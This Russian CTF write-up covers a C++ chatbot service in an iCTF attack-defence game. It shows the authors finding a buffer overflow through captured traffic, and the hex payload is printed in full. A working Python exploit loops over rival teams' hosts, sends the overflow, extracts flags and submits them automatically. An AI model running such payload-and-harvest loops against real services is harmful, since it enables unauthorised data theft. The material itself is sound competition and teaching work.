turing_award
Поначалу мы пытались разобраться с python-сервисом ponypoem, но что-то не срослось — и нам пришлось переходить на бинарные файлы. Тем более что turing_award был второй по количеству сданных флагов, так что здесь, возможно, всё очевидно. Данный сервис написан на С++ и легенда гласит: Сможешь ли ты пройти тест Тьюринга? В качестве flag_id нам давали номер строки из файла answers.txt. Давайте разбираться.
Это обычный tcp-сервер, слушает порт 20006. Диалоговое окно выглядит так:
You: hello
Human: Stall.
You:
....
Вот такой вот бесконечный диалог. У робота было 3 файла: answers, questions, trainings. Если введённый вами текст совпадал со строкой файла questions, то машина выводила текст такого же номера строки из answers, что и номер строки questions. Если же ответ не находил — брал рандомную фразу из trainings. Методом реверс-инжиниринга через radare2 мы с напарником ничего найти не могли, был сплошной мусор. Пришлось действовать старым дедовским методом — анализировать входящий трафик. Здесь в бой вступает Wireshark.
tcpdump -pni eth0 -n tcp portrange 20001-20014 -s65535 -G 900 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap'
Я писал дампы трафика на интерфейсе eth0 только для TCP протокола и только с портов 20001-20014 (порты сервисов). –s65535 — количество сохраняемых пакетов в 1 файле. –G 900 — как часто разбивать файл дампа, –w — это формат выходного файла. И вот что я получил (синий — сервер, красный — пользователь):
Пример 1:
You: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq........
Human: Stall.
You: exit
Human: See'ya later, bud!
Пример 2:
You: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW........
Human: The answer is in FLGElg5WPwukuAWf
You: exit
Human: See'ya later, bud!
Рассмотрим поближе пример №2. Здесь мы отдаём противнику флаг, если он отправляет нам следующую строку (в hex):
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141415701000000000000000a
Это 1000 букв А и потом уже какая-то чувствительная информация и 0a — новая строка (смотри тут). 00 — просто 0, остаётся всего 2 символа — это 5701. Переведём их в ASCII — 9 и SOH. Не получается. Значит, это не ascii символ, а число. В hex. Допустим здесь. Получили 22273. Такой строчки в файле answers у нас точно нет. Поищем номер строки для флага FLGElg5WpwukuAWf. А это строка 343. Переводим в hex — выходит 0157. Значит, у нас здесь порядок цифр обратный.
Итого, чтобы написать эксплойт, нам понадобится:
-
Взять flag_id, перевести его в hex, поменять местами блоки.
-
Сформировать строку из 1000 символов (a, z — не важно), преобразованным flag_id, и в конце дописать несколько ноликов и символ новой строки (имитация нажатия клавиши Enter).
-
Получить флаг.
-
Отправить на сервер жюрейки.
Таким образом, не зная, как работает сервис, за счёт нешифрованного трафика и обычного TCP-протокола мы отловили уязвимость на нашем сервере и теперь можем проэксплуатировать её на других командах.
Эксплойт на языке Python:
from ictf import iCTF
import json
import socket
i = iCTF()
t = i.login('EMAIL', 'PASSWORD')
while 1:
tmp = t.get_targets(10006)
for team in tmp['targets']:
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(5)
conn.connect((team['hostname'], team['port']))
data = conn.recv(1024)
d = int(team['flag_id'])
line = ''.join('%04x'%(d - 1))
line = line[2:4] + line[0:2]
a1 = bytes.fromhex("41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141")
a2 = bytes.fromhex(line)
a3 = bytes.fromhex("000000000000000a")
conn.send(a1+a2+a3)
data = conn.recv(1024).decode('utf-8')
string = data.split()
flag = string[len(string)-1]
conn.close()
if "The answer is" in data:
s = t.submit_flag(list([flag]))
else:
print('NEO4en {}'.format(team['team_name']))
except Exception as ex:
print(ex)
continue
conn.close()
Вышло довольно быстро, но разбор бинарного файла до просмотра трафика затянулся, и в итоге на сервис было затрачено около 3 часов.
Скорее всего, это было типичное переполнение буфера или неправильная обработка строк, с языками вроде C++ такое частенько случается. Программа начинает вести себя неправильно и выходит в памяти за пределы переменной, попадая в другие места.